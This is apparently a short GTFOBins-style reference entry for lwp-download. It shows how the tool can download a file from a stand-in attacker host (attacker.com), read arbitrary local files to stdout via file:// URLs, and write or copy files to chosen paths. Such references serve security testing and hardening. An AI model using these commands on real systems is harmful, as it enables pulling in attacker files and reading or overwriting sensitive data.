lwp-download

Download

The destination file `/path/to/output-file` can be omitted, in that case the file is saved to `input-file` in the current working directory.

lwp-download http://attacker.com/path/to/input-file /path/to/output-file

File Read

lwp-download file:///path/to/input-file /dev/stdout

File Write

echo DATA >/path/to/temp-file
lwp-download file:///path/to/temp-file /path/to/output-file

This actually copies a file to a destination.

lwp-download file:///path/to/input-file /path/to/output-file